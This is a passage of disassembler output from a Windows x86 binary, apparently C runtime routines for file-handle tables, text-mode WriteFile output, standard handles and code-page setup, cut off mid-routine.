dword_4371E0 ; SetUnhandledExceptionFilter mov dword_676A14, eax retn sub_4320E6 endp ; =============== S U B R O U T I N E ======================================= sub_4320F7 proc near ; DATA XREF: .text:0043A03Co push dword_676A14 call dword_4371E0 ; SetUnhandledExceptionFilter retn sub_4320F7 endp ; =============== S U B R O U T I N E ======================================= sub_432104 proc near ; CODE XREF: sub_42BEB8+11p ; sub_42C0DC+Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push dword ptr [esi+10h] call sub_433237 test eax, eax pop ecx jz short loc_43218D cmp esi, offset dword_450EE0 jnz short loc_432122 xor eax, eax jmp short loc_43212D ; --------------------------------------------------------------------------- loc_432122: ; CODE XREF: sub_432104+18j cmp esi, offset dword_450F00 jnz short loc_43218D push 1 pop eax loc_43212D: ; CODE XREF: sub_432104+1Cj inc dword_676920 test word ptr [esi+0Ch], 10Ch jnz short loc_43218D cmp dword_676A18[eax*4], 0 push ebx push edi lea edi, ds:676A18h[eax*4] mov ebx, 1000h jnz short loc_432173 push ebx call sub_4297B8 test eax, eax pop ecx mov [edi], eax jnz short loc_432173 lea eax, [esi+14h] push 2 mov [esi+8], eax mov [esi], eax pop eax mov [esi+18h], eax mov [esi+4], eax jmp short loc_432180 ; --------------------------------------------------------------------------- loc_432173: ; CODE XREF: sub_432104+4Dj ; sub_432104+5Aj mov edi, [edi] mov [esi+18h], ebx mov [esi+8], edi mov [esi], edi mov [esi+4], ebx loc_432180: ; CODE XREF: sub_432104+6Dj or word ptr [esi+0Ch], 1102h push 1 pop eax pop edi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_43218D: ; CODE XREF: sub_432104+10j ; sub_432104+24j ... xor eax, eax pop esi retn sub_432104 endp ; =============== S U B R O U T I N E ======================================= sub_432191 proc near ; CODE XREF: sub_42BEB8+2Bp ; sub_42C0DC+28p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0 push esi jz short loc_4321B9 mov esi, [esp+4+arg_4] test byte ptr [esi+0Dh], 10h jz short loc_4321B9 push esi call sub_42F2D9 and byte ptr [esi+0Dh], 0EEh and dword ptr [esi+18h], 0 and dword ptr [esi], 0 and dword ptr [esi+8], 0 pop ecx loc_4321B9: ; CODE XREF: sub_432191+6j ; sub_432191+10j pop esi retn sub_432191 endp ; =============== S U B R O U T I N E ======================================= sub_4321BB proc near ; CODE XREF: sub_4336B9:loc_433831p var_8 = dword ptr -8 var_4 = dword ptr -4 push ecx push ecx push ebx push ebp push esi push edi push 12h or edi, 0FFFFFFFFh call sub_42DAEF xor ebx, ebx pop ecx mov [esp+18h+var_8], ebx mov [esp+18h+var_4], ebx mov ebp, offset dword_676EE0 loc_4321DB: ; CODE XREF: sub_4321BB+BCj mov esi, [ebp+0] test esi, esi jz loc_43227F lea eax, [esi+480h] loc_4321EC: ; CODE XREF: sub_4321BB+8Aj cmp esi, eax jnb short loc_432264 test byte ptr [esi+4], 1 jnz short loc_43223A cmp dword ptr [esi+8], 0 jnz short loc_43221F push 11h call sub_42DAEF cmp dword ptr [esi+8], 0 pop ecx jnz short loc_432217 lea eax, [esi+0Ch] push eax call dword_437158 ; InitializeCriticalSection inc dword ptr [esi+8] loc_432217: ; CODE XREF: sub_4321BB+4Dj push 11h call sub_42DB50 pop ecx loc_43221F: ; CODE XREF: sub_4321BB+3Fj lea ebx, [esi+0Ch] push ebx call dword_4370CC ; RtlEnterCriticalSection test byte ptr [esi+4], 1 jz short loc_432247 push ebx call dword_437164 ; RtlLeaveCriticalSection mov ebx, [esp+18h+var_8] loc_43223A: ; CODE XREF: sub_4321BB+39j mov eax, [ebp+0] add esi, 24h add eax, 480h jmp short loc_4321EC ; --------------------------------------------------------------------------- loc_432247: ; CODE XREF: sub_4321BB+72j or dword ptr [esi], 0FFFFFFFFh mov eax, esi sub eax, [ebp+0] push 24h pop ecx cdq idiv ecx mov edi, eax add edi, [esp+18h+var_4] cmp edi, 0FFFFFFFFh jnz short loc_4322CD mov ebx, [esp+18h+var_8] loc_432264: ; CODE XREF: sub_4321BB+33j add [esp+18h+var_4], 20h add ebp, 4 inc ebx cmp ebp, offset dword_676FE0 mov [esp+18h+var_8], ebx jl loc_4321DB jmp short loc_4322CD ; --------------------------------------------------------------------------- loc_43227F: ; CODE XREF: sub_4321BB+25j mov esi, 480h push esi call sub_4297B8 test eax, eax pop ecx jz short loc_4322CD add dword_676FE0, 20h lea ecx, ds:676EE0h[ebx*4] lea edx, [eax+480h] mov [ecx], eax loc_4322A5: ; CODE XREF: sub_4321BB+104j cmp eax, edx jnb short loc_4322C1 and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh and dword ptr [eax+8], 0 mov byte ptr [eax+5], 0Ah mov edx, [ecx] add eax, 24h add edx, esi jmp short loc_4322A5 ; --------------------------------------------------------------------------- loc_4322C1: ; CODE XREF: sub_4321BB+ECj shl ebx, 5 mov edi, ebx push edi call sub_43241B pop ecx loc_4322CD: ; CODE XREF: sub_4321BB+A3j ; sub_4321BB+C2j ... push 12h call sub_42DB50 pop ecx mov eax, edi pop edi pop esi pop ebp pop ebx pop ecx pop ecx retn sub_4321BB endp ; =============== S U B R O U T I N E ======================================= sub_4322DE proc near ; CODE XREF: sub_4336B9+1FDp arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] push esi cmp ecx, dword_676FE0 push edi jnb short loc_432341 mov eax, ecx sar eax, 5 lea edi, ds:676EE0h[eax*4] mov eax, ecx and eax, 1Fh lea esi, [eax+eax*8] mov eax, [edi] shl esi, 2 cmp dword ptr [eax+esi], 0FFFFFFFFh jnz short loc_432341 cmp dword_451144, 1 push ebx mov ebx, [esp+0Ch+arg_4] jnz short loc_432337 sub ecx, 0 jz short loc_43232E dec ecx jz short loc_432329 dec ecx jnz short loc_432337 push ebx push 0FFFFFFF4h jmp short loc_432331 ; --------------------------------------------------------------------------- loc_432329: ; CODE XREF: sub_4322DE+41j push ebx push 0FFFFFFF5h jmp short loc_432331 ; --------------------------------------------------------------------------- loc_43232E: ; CODE XREF: sub_4322DE+3Ej push ebx push 0FFFFFFF6h loc_432331: ; CODE XREF: sub_4322DE+49j ; sub_4322DE+4Ej call dword_4371DC ; SetStdHandle loc_432337: ; CODE XREF: sub_4322DE+39j ; sub_4322DE+44j mov eax, [edi] mov [eax+esi], ebx xor eax, eax pop ebx jmp short loc_432357 ; --------------------------------------------------------------------------- loc_432341: ; CODE XREF: sub_4322DE+Cj ; sub_4322DE+2Bj call sub_42F119 mov dword ptr [eax], 9 call sub_42F122 and dword ptr [eax], 0 or eax, 0FFFFFFFFh loc_432357: ; CODE XREF: sub_4322DE+61j pop edi pop esi retn sub_4322DE endp ; =============== S U B R O U T I N E ======================================= sub_43235A proc near ; CODE XREF: sub_42F1FD+51p arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push esi cmp ecx, dword_676FE0 push edi jnb short loc_4323C0 mov eax, ecx sar eax, 5 lea edi, ds:676EE0h[eax*4] mov eax, ecx and eax, 1Fh lea esi, [eax+eax*8] mov eax, [edi] shl esi, 2 add eax, esi test byte ptr [eax+4], 1 jz short loc_4323C0 cmp dword ptr [eax], 0FFFFFFFFh jz short loc_4323C0 cmp dword_451144, 1 jnz short loc_4323B6 xor eax, eax sub ecx, eax jz short loc_4323AD dec ecx jz short loc_4323A8 dec ecx jnz short loc_4323B6 push eax push 0FFFFFFF4h jmp short loc_4323B0 ; --------------------------------------------------------------------------- loc_4323A8: ; CODE XREF: sub_43235A+44j push eax push 0FFFFFFF5h jmp short loc_4323B0 ; --------------------------------------------------------------------------- loc_4323AD: ; CODE XREF: sub_43235A+41j push eax push 0FFFFFFF6h loc_4323B0: ; CODE XREF: sub_43235A+4Cj ; sub_43235A+51j call dword_4371DC ; SetStdHandle loc_4323B6: ; CODE XREF: sub_43235A+3Bj ; sub_43235A+47j mov eax, [edi] or dword ptr [eax+esi], 0FFFFFFFFh xor eax, eax jmp short loc_4323D6 ; --------------------------------------------------------------------------- loc_4323C0: ; CODE XREF: sub_43235A+Cj ; sub_43235A+2Dj ... call sub_42F119 mov dword ptr [eax], 9 call sub_42F122 and dword ptr [eax], 0 or eax, 0FFFFFFFFh loc_4323D6: ; CODE XREF: sub_43235A+64j pop edi pop esi retn sub_43235A endp ; =============== S U B R O U T I N E ======================================= sub_4323D9 proc near ; CODE XREF: sub_42F1FD+7p ; sub_42F1FD+1Ep ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_676FE0 jnb short loc_432404 mov ecx, eax and eax, 1Fh sar ecx, 5 lea eax, [eax+eax*8] mov ecx, dword_676EE0[ecx*4] test byte ptr [ecx+eax*4+4], 1 lea eax, [ecx+eax*4] jz short loc_432404 mov eax, [eax] retn ; --------------------------------------------------------------------------- loc_432404: ; CODE XREF: sub_4323D9+Aj ; sub_4323D9+26j call sub_42F119 mov dword ptr [eax], 9 call sub_42F122 and dword ptr [eax], 0 or eax, 0FFFFFFFFh retn sub_4323D9 endp ; =============== S U B R O U T I N E ======================================= sub_43241B proc near ; CODE XREF: sub_42BEF9+6p ; sub_42F1A0+2Ap ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push ebx mov ecx, eax and eax, 1Fh sar ecx, 5 push esi push edi mov esi, dword_676EE0[ecx*4] lea ebx, ds:676EE0h[ecx*4] lea edi, [eax+eax*8] shl edi, 2 add esi, edi cmp dword ptr [esi+8], 0 jnz short loc_432469 push 11h call sub_42DAEF cmp dword ptr [esi+8], 0 pop ecx jnz short loc_432461 lea eax, [esi+0Ch] push eax call dword_437158 ; InitializeCriticalSection inc dword ptr [esi+8] loc_432461: ; CODE XREF: sub_43241B+37j push 11h call sub_42DB50 pop ecx loc_432469: ; CODE XREF: sub_43241B+29j mov eax, [ebx] lea eax, [eax+edi+0Ch] push eax call dword_4370CC ; RtlEnterCriticalSection pop edi pop esi pop ebx retn sub_43241B endp ; =============== S U B R O U T I N E ======================================= sub_43247A proc near ; CODE XREF: sub_42BEF9+80p ; sub_42F1A0+38p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, eax and eax, 1Fh sar ecx, 5 lea eax, [eax+eax*8] mov ecx, dword_676EE0[ecx*4] lea eax, [ecx+eax*4+0Ch] push eax call dword_437164 ; RtlLeaveCriticalSection retn sub_43247A endp ; =============== S U B R O U T I N E ======================================= sub_43249C proc near ; CODE XREF: sub_42C3E2+A2p ; sub_42DB65+95p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] cmp esi, dword_676FE0 jnb short loc_4324E9 mov ecx, esi mov eax, esi sar ecx, 5 and eax, 1Fh mov ecx, dword_676EE0[ecx*4] lea eax, [eax+eax*8] test byte ptr [ecx+eax*4+4], 1 jz short loc_4324E9 push edi push esi call sub_43241B push [esp+0Ch+arg_8] push [esp+10h+arg_4] push esi call sub_432501 push esi mov edi, eax call sub_43247A add esp, 14h mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4324E9: ; CODE XREF: sub_43249C+Bj ; sub_43249C+26j call sub_42F119 mov dword ptr [eax], 9 call sub_42F122 and dword ptr [eax], 0 or eax, 0FFFFFFFFh pop esi retn sub_43249C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_432501 proc near ; CODE XREF: sub_42BEF9+22p ; sub_42BEF9+2Ep ... var_414 = byte ptr -414h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 414h push ebx push esi push edi xor edi, edi cmp [ebp+arg_8], edi mov [ebp+var_8], edi mov [ebp+var_10], edi jnz short loc_432521 loc_43251A: ; CODE XREF: sub_432501+169j xor eax, eax jmp loc_432687 ; --------------------------------------------------------------------------- loc_432521: ; CODE XREF: sub_432501+17j mov eax, [ebp+arg_0] sar eax, 5 lea ebx, ds:676EE0h[eax*4] mov eax, [ebp+arg_0] and eax, 1Fh lea esi, [eax+eax*8] mov eax, [ebx] shl esi, 2 test byte ptr [eax+esi+4], 20h jz short loc_432551 push 2 push edi push [ebp+arg_0] call sub_42F91D add esp, 0Ch loc_432551: ; CODE XREF: sub_432501+40j mov eax, [ebx] add eax, esi test byte ptr [eax+4], 80h jz loc_432620 mov eax, [ebp+arg_4] cmp [ebp+arg_8], edi mov [ebp+var_4], eax mov [ebp+arg_0], edi jbe loc_43265B loc_432571: ; CODE XREF: sub_432501+E4j lea eax, [ebp+var_414] loc_432577: ; CODE XREF: sub_432501+A8j mov ecx, [ebp+var_4] sub ecx, [ebp+arg_4] cmp ecx, [ebp+arg_8] jnb short loc_4325AB mov ecx, [ebp+var_4] inc [ebp+var_4] mov cl, [ecx] cmp cl, 0Ah jnz short loc_432596 inc [ebp+var_10] mov byte ptr [eax], 0Dh inc eax loc_432596: ; CODE XREF: sub_432501+8Cj mov [eax], cl inc eax mov ecx, eax lea edx, [ebp+var_414] sub ecx, edx cmp ecx, 400h jl short loc_432577 loc_4325AB: ; CODE XREF: sub_432501+7Fj mov edi, eax lea eax, [ebp+var_414] sub edi, eax lea eax, [ebp+var_C] push 0 push eax lea eax, [ebp+var_414] push edi push eax mov eax, [ebx] push dword ptr [eax+esi] call dword_437078 ; WriteFile test eax, eax jz short loc_432615 mov eax, [ebp+var_C] add [ebp+var_8], eax cmp eax, edi jl short loc_4325E7 mov eax, [ebp+var_4] sub eax, [ebp+arg_4] cmp eax, [ebp+arg_8] jb short loc_432571 loc_4325E7: ; CODE XREF: sub_432501+D9j ; sub_432501+11Dj xor edi, edi loc_4325E9: ; CODE XREF: sub_432501+13Fj ; sub_432501+14Aj mov eax, [ebp+var_8] cmp eax, edi jnz loc_432684 cmp [ebp+arg_0], edi jz short loc_43265B push 5 pop esi cmp [ebp+arg_0], esi jnz short loc_43264D call sub_42F119 mov dword ptr [eax], 9 call sub_42F122 mov [eax], esi jmp short loc_432656 ; --------------------------------------------------------------------------- loc_432615: ; CODE XREF: sub_432501+CFj call dword_437170 ; RtlGetLastWin32Error mov [ebp+arg_0], eax jmp short loc_4325E7 ; --------------------------------------------------------------------------- loc_432620: ; CODE XREF: sub_432501+58j lea ecx, [ebp+var_C] push edi push ecx push [ebp+arg_8] push [ebp+arg_4] push dword ptr [eax] call dword_437078 ; WriteFile test eax, eax jz short loc_432642 mov eax, [ebp+var_C] mov [ebp+arg_0], edi mov [ebp+var_8], eax jmp short loc_4325E9 ; --------------------------------------------------------------------------- loc_432642: ; CODE XREF: sub_432501+134j call dword_437170 ; RtlGetLastWin32Error mov [ebp+arg_0], eax jmp short loc_4325E9 ; --------------------------------------------------------------------------- loc_43264D: ; CODE XREF: sub_432501+FEj push [ebp+arg_0] call sub_42F0A6 pop ecx loc_432656: ; CODE XREF: sub_432501+112j ; sub_432501+181j or eax, 0FFFFFFFFh jmp short loc_432687 ; --------------------------------------------------------------------------- loc_43265B: ; CODE XREF: sub_432501+6Aj ; sub_432501+F6j mov eax, [ebx] test byte ptr [eax+esi+4], 40h jz short loc_432670 mov eax, [ebp+arg_4] cmp byte ptr [eax], 1Ah jz loc_43251A loc_432670: ; CODE XREF: sub_432501+161j call sub_42F119 mov dword ptr [eax], 1Ch call sub_42F122 mov [eax], edi jmp short loc_432656 ; --------------------------------------------------------------------------- loc_432684: ; CODE XREF: sub_432501+EDj sub eax, [ebp+var_10] loc_432687: ; CODE XREF: sub_432501+1Bj ; sub_432501+158j pop edi pop esi pop ebx leave retn sub_432501 endp ; =============== S U B R O U T I N E ======================================= sub_43268C proc near ; CODE XREF: sub_4326BD+4p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi push esi call sub_42C1D4 dec dword ptr [esi+4] pop ecx js short loc_4326A8 mov eax, [esi] movzx edi, byte ptr [eax] inc eax mov [esi], eax jmp short loc_4326B1 ; --------------------------------------------------------------------------- loc_4326A8: ; CODE XREF: sub_43268C+10j push esi call sub_42F3E2 pop ecx mov edi, eax loc_4326B1: ; CODE XREF: sub_43268C+1Aj push esi call sub_42C226 pop ecx mov eax, edi pop edi pop esi retn sub_43268C endp ; =============== S U B R O U T I N E ======================================= sub_4326BD proc near ; CODE XREF: sub_42BF84+5p arg_0 = dword ptr 4 push [esp+arg_0] call sub_43268C pop ecx retn sub_4326BD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4326C8 proc near ; CODE XREF: sub_432AA0+Bp var_18 = dword ptr -18h var_12 = byte ptr -12h var_11 = byte ptr -11h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi push 19h call sub_42DAEF push [ebp+arg_0] call sub_432875 ; GetOEMCP mov ebx, eax pop ecx cmp ebx, dword_676C9C pop ecx mov [ebp+arg_0], ebx jnz short loc_4326F6 loc_4326EF: ; CODE XREF: sub_4326C8+196j xor esi, esi jmp loc_432866 ; --------------------------------------------------------------------------- loc_4326F6: ; CODE XREF: sub_4326C8+25j test ebx, ebx jz loc_432854 xor edx, edx mov eax, offset dword_4539A0 loc_432705: ; CODE XREF: sub_4326C8+4Aj cmp [eax], ebx jz short loc_43277D add eax, 30h inc edx cmp eax, offset dword_453A90 jl short loc_432705 lea eax, [ebp+var_18] push eax push ebx call dword_4371D8 ; GetCPInfo push 1 pop esi cmp eax, esi jnz loc_43284B push 40h and dword_676EC4, 0 pop ecx xor eax, eax mov edi, offset byte_676DC0 cmp [ebp+var_18], esi rep stosd stosb mov dword_676C9C, ebx jbe loc_432838 cmp [ebp+var_12], 0 jz loc_432813 lea ecx, [ebp+var_11] loc_43275A: ; CODE XREF: sub_4326C8+145j mov dl, [ecx] test dl, dl jz loc_432813 movzx eax, byte ptr [ecx-1] movzx edx, dl loc_43276B: ; CODE XREF: sub_4326C8+B3j cmp eax, edx ja loc_432807 or byte_676DC1[eax], 4 inc eax jmp short loc_43276B ; --------------------------------------------------------------------------- loc_43277D: ; CODE XREF: sub_4326C8+3Fj and [ebp+var_4], 0 push 40h pop ecx xor eax, eax mov edi, offset byte_676DC0 lea esi, [edx+edx*2] rep stosd shl esi, 4 stosb lea ebx, dword_4539B0[esi] loc_43279A: ; CODE XREF: sub_4326C8+10Fj cmp byte ptr [ebx], 0 mov ecx, ebx jz short loc_4327CD loc_4327A1: ; CODE XREF: sub_4326C8+103j mov dl, [ecx+1] test dl, dl jz short loc_4327CD movzx eax, byte ptr [ecx] movzx edi, dl cmp eax, edi ja short loc_4327C6 mov edx, [ebp+var_4] mov dl, byte_453998[edx] loc_4327BB: ; CODE XREF: sub_4326C8+FCj or byte_676DC1[eax], dl inc eax cmp eax, edi jbe short loc_4327BB loc_4327C6: ; CODE XREF: sub_4326C8+E8j inc ecx inc ecx cmp byte ptr [ecx], 0 jnz short loc_4327A1 loc_4327CD: ; CODE XREF: sub_4326C8+D7j ; sub_4326C8+DEj inc [ebp+var_4] add ebx, 8 cmp [ebp+var_4], 4 jb short loc_43279A mov eax, [ebp+arg_0] mov dword_676CAC, 1 push eax mov dword_676C9C, eax call sub_4328BF lea esi, dword_4539A4[esi] mov edi, offset dword_676CA0 movsd movsd pop ecx mov dword_676EC4, eax movsd jmp short loc_432859 ; --------------------------------------------------------------------------- loc_432807: ; CODE XREF: sub_4326C8+A5j inc ecx inc ecx cmp byte ptr [ecx-1], 0 jnz loc_43275A loc_432813: ; CODE XREF: sub_4326C8+89j ; sub_4326C8+96j mov eax, esi loc_432815: ; CODE XREF: sub_4326C8+15Aj or byte_676DC1[eax], 8 inc eax cmp eax, 0FFh jb short loc_432815 push ebx call sub_4328BF pop ecx mov dword_676EC4, eax mov dword_676CAC, esi jmp short loc_43283F ; --------------------------------------------------------------------------- loc_432838: ; CODE XREF: sub_4326C8+7Fj and dword_676CAC, 0 loc_43283F: ; CODE XREF: sub_4326C8+16Ej xor eax, eax mov edi, offset dword_676CA0 stosd stosd stosd jmp short loc_432859 ; --------------------------------------------------------------------------- loc_43284B: ; CODE XREF: sub_4326C8+5Cj cmp dword_676A20, 0 jz short loc_432863 loc_432854: ; CODE XREF: sub_4326C8+30j call sub_4328F2 loc_432859: ; CODE XREF: sub_4326C8+13Dj ; sub_4326C8+181j call sub_43291B jmp loc_4326EF ; --------------------------------------------------------------------------- loc_432863: ; CODE XREF: sub_4326C8+18Aj or esi, 0FFFFFFFFh loc_432866: ; CODE XREF: sub_4326C8+29j push 19h call sub_42DB50 pop ecx mov eax, esi pop edi pop esi pop ebx leave retn sub_4326C8 endp ; =============== S U B R O U T I N E ======================================= sub_432875 proc near ; CODE XREF: sub_4326C8+13p arg_0 = dword ptr 4 mov eax, [esp+arg_0] and dword_676A20, 0 cmp eax, 0FFFFFFFEh jnz short loc_432895 mov dword_676A20, 1 jmp dword_4371D0 ; --------------------------------------------------------------------------- loc_432895: ; CODE XREF: sub_432875+Ej cmp eax, 0FFFFFFFDh jnz short loc_4328AA mov dword_676A20, 1 jmp dword_4371D4 ; --------------------------------------------------------------------------- loc_4328AA: ; CODE XREF: sub_432875+23j cmp eax, 0FFFFFFFCh jnz short locret_4328BE mov eax, dword_6769B8 mov dword_676A20, 1 locret_4328BE: ; CODE XREF: sub_432875+38j retn sub_432875 endp ; =============== S U B R O U T I N E ======================================= sub_4328BF proc near ; CODE XREF: sub_4326C8+124p ; sub_4326C8+15Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub eax, 3A4h jz short loc_4328EC sub eax, 4 jz short loc_4328E6 sub eax, 0Dh jz short loc_4328E0 dec eax jz short loc_4328DA xor eax, eax retn ; --------------------------------------------------------------------------- loc_4328DA: ; CODE XREF: sub_4328BF+16j mov eax, 404h retn ; --------------------------------------------------------------------------- loc_4328E0: ; CODE XREF: sub_4328BF+13j mov eax, 412h retn ; --------------------------------------------------------------------------- loc_4328E6: ; CODE XREF: sub_4328BF+Ej mov eax, 804h retn ; --------------------------------------------------------------------------- loc_4328EC: ; CODE XREF: sub_4328BF+9j mov eax, 411h retn sub_4328BF endp ; =============== S U B R O U T I N E ======================================= sub_4328F2 proc near ; CODE XREF: sub_4326C8:loc_432854p push edi push 40h pop ecx xor eax, eax mov edi, offset byte_676DC0 rep stosd stosb xor eax, eax mov edi, offset dword_676CA0 mov dword_676C9C, eax mov dword_676CAC, eax mov dword_676EC4, eax stosd stosd stosd pop edi retn sub_4328F2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43291B proc near ; CODE XREF: sub_4326C8:loc_432859p var_514 = byte ptr -514h var_314 = byte ptr -314h var_214 = byte ptr -214h var_114 = byte ptr -114h var_14 = byte ptr -14h var_E = byte ptr -0Eh var_D = byte ptr -0Dh push ebp mov ebp, esp sub esp, 514h lea eax, [ebp+var_14] push esi push eax push dword_676C9C call dword_4371D8 ; GetCPInfo cmp eax, 1 jnz loc_432A54 xor eax, eax mov esi, 100h loc_432945: ; CODE XREF: sub_43291B+34j mov [ebp+eax+var_114], al inc eax cmp eax, esi jb short loc_432945 mov al, [ebp+var_E] mov [ebp+var_114], 20h test al, al jz short loc_432996 push ebx push edi lea edx, [ebp+var_D] loc_432964: ; CODE XREF: sub_43291B+77j movzx ecx, byte ptr [edx] movzx eax, al cmp eax, ecx ja short loc_43298B sub ecx, eax lea edi, [ebp+eax+var_114] inc ecx mov eax, 20202020h mov ebx, ecx shr ecx, 2 rep stosd mov ecx, ebx and ecx, 3 rep stosb loc_43298B: ; CODE XREF: sub_43291B+51j inc edx inc edx mov al, [edx-1] test al, al jnz short loc_432964 pop edi pop ebx loc_432996: ; CODE XREF: sub_43291B+42j push 0 lea eax, [ebp+var_514] push dword_676EC4 push dword_676C9C push eax lea eax, [ebp+var_114] push esi push eax push 1 call sub_4334DD push 0 lea eax, [ebp+var_214] push dword_676C9C push esi push eax lea eax, [ebp+var_114] push esi push eax push esi push dword_676EC4 call sub_430D9F push 0 lea eax, [ebp+var_314] push dword_676C9C push esi push eax lea eax, [ebp+var_114] push esi push eax push 200h push dword_676EC4 call sub_430D9F add esp, 5Ch xor eax, eax lea ecx, [ebp+var_514] loc_432A11: ; CODE XREF: sub_43291B+135j mov dx, [ecx] test dl, 1 jz short loc_432A2F or byte_676DC1[eax], 10h mov dl, [ebp+eax+var_214] loc_432A27: ; CODE XREF: sub_43291B+127j mov byte_676CC0[eax], dl jmp short loc_432A4B ; --------------------------------------------------------------------------- loc_432A2F: ; CODE XREF: sub_43291B+FCj test dl, 2 jz short loc_432A44 or byte_676DC1[eax], 20h mov dl, [ebp+eax+var_314] jmp short loc_432A27 ; --------------------------------------------------------------------------- loc_432A44: ; CODE XREF: sub_43291B+117j and byte_676CC0[eax], 0 loc_432A4B: ; CODE XREF: sub_43291B+112j inc eax inc ecx inc ecx cmp eax, esi jb short loc_432A11 jmp short loc_432A9D ; --------------------------------------------------------------------------- loc_432A54: ; CODE XREF: sub_43291B+1Dj xor eax, eax mov esi, 100h loc_432A5B: ; CODE XREF: sub_43291B+180j cmp eax, 41h jb short loc_432A79 cmp eax, 5Ah ja short loc_432A79 or byte_676DC1[eax], 10h mov cl, al add cl, 20h loc_432A71: ; CODE XREF: sub_43291B+174j mov byte_676CC0[eax], cl jmp short loc_432A98 ; --------------------------------------------------------------------------- loc_432A79: ; CODE XREF: sub_43291B+143j ; sub_43291B+148j cmp eax, 61h jb short loc_432A91 cmp eax, 7Ah ja short loc_432A91 or byte_676DC1[eax], 20h mov cl, al sub cl, 20h jmp short loc_432A71 ; --------------------------------------------------------------------------- loc_432A91: ; CODE XREF: sub_43291B+161j ; sub_43291B+166j and byte_676CC0[eax], 0 loc_432A98: ; CODE XREF: sub_43291B+15Cj inc eax cmp eax, esi jb short loc_432A5B loc_432A9D: ; CODE XREF: sub_43291B+137j pop esi leave retn sub_43291B endp ; =============== S U B R O U T I N E ======================================= sub_432AA0 proc near ; CODE XREF: sub_432BD7+9p ; sub_432C2F+Dp ... cmp dword_676ECC, 0 jnz short locret_432ABB push 0FFFFFFFDh call sub_4326C8 pop ecx mov dword_676ECC, 1 locret_432ABB: ; CODE XREF: sub_432AA0+7j retn sub_432AA0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_432ABC proc near ; CODE XREF: sub_42BF95+2Bp ; sub_42BF95+A6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp dword_676CAC, 0 push edi mov edi, [ebp+arg_0] mov [ebp+arg_0], edi jnz short loc_432AE0 push [ebp+arg_8] push [ebp+arg_4] push edi call sub_429D10 add esp, 0Ch jmp short loc_432B53 ; --------------------------------------------------------------------------- loc_432AE0: ; CODE XREF: sub_432ABC+11j push esi push 19h call sub_42DAEF mov edx, [ebp+arg_8] pop ecx test edx, edx jz short loc_432B2D mov ecx, [ebp+arg_4] loc_432AF3: ; CODE XREF: sub_432ABC+63j mov al, [ecx] dec edx movzx esi, al test byte_676DC1[esi], 4 mov [edi], al jz short loc_432B17 inc edi inc ecx test edx, edx jz short loc_432B23 mov al, [ecx] dec edx mov [edi], al inc edi inc ecx test al, al jz short loc_432B29 jmp short loc_432B1D ; --------------------------------------------------------------------------- loc_432B17: ; CODE XREF: sub_432ABC+46j inc edi inc ecx test al, al jz short loc_432B2D loc_432B1D: ; CODE XREF: sub_432ABC+59j test edx, edx jnz short loc_432AF3 jmp short loc_432B2D ; --------------------------------------------------------------------------- loc_432B23: ; CODE XREF: sub_432ABC+4Cj and byte ptr [edi-1], 0 jmp short loc_432B2D ; --------------------------------------------------------------------------- loc_432B29: ; CODE XREF: sub_432ABC+57j and byte ptr [edi-2], 0 loc_432B2D: ; CODE XREF: sub_432ABC+32j ; sub_432ABC+5Fj ... mov eax, edx dec edx test eax, eax pop esi jz short loc_432B48 lea ecx, [edx+1] xor eax, eax mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb loc_432B48: ; CODE XREF: sub_432ABC+77j push 19h call sub_42DB50 mov eax, [ebp+arg_0] pop ecx loc_432B53: ; CODE XREF: sub_432ABC+22j pop edi pop ebp retn sub_432ABC endp ; =============== S U B R O U T I N E ======================================= sub_432B56 proc near ; CODE XREF: sub_42C1C0+Ej push ebx push edi push 2 xor ebx, ebx call sub_42DAEF pop ecx push 3 pop edi cmp dword_678020, edi jle short loc_432BCA push esi loc_432B6E: ; CODE XREF: sub_432B56+71j mov eax, dword_67700C mov esi, edi shl esi, 2 mov eax, [esi+eax] test eax, eax jz short loc_432BC0 test byte ptr [eax+0Ch], 83h jz short loc_432B92 push eax call sub_42A10B cmp eax, 0FFFFFFFFh pop ecx jz short loc_432B92 inc ebx loc_432B92: ; CODE XREF: sub_432B56+2Dj ; sub_432B56+39j cmp edi, 14h jl short loc_432BC0 mov eax, dword_67700C mov eax, [esi+eax] add eax, 20h push eax call dword_437168 ; RtlDeleteCriticalSection mov eax, dword_67700C push dword ptr [esi+eax] call sub_4298F2 mov eax, dword_67700C pop ecx and dword ptr [esi+eax], 0 loc_432BC0: ; CODE XREF: sub_432B56+27j ; sub_432B56+3Fj inc edi cmp edi, dword_678020 jl short loc_432B6E pop esi loc_432BCA: ; CODE XREF: sub_432B56+15j push 2 call sub_42DB50 pop ecx mov eax, ebx pop edi pop ebx retn sub_432B56 endp ; =============== S U B R O U T I N E ======================================= sub_432BD7 proc near ; CODE XREF: .text:0042C62Bp cmp dword_676ECC, 0 jnz short loc_432BE5 call sub_432AA0 loc_432BE5: ; CODE XREF: sub_432BD7+7j push esi mov esi, dword_677008 mov al, [esi] cmp al, 22h jnz short loc_432C17 loc_432BF2: ; CODE XREF: 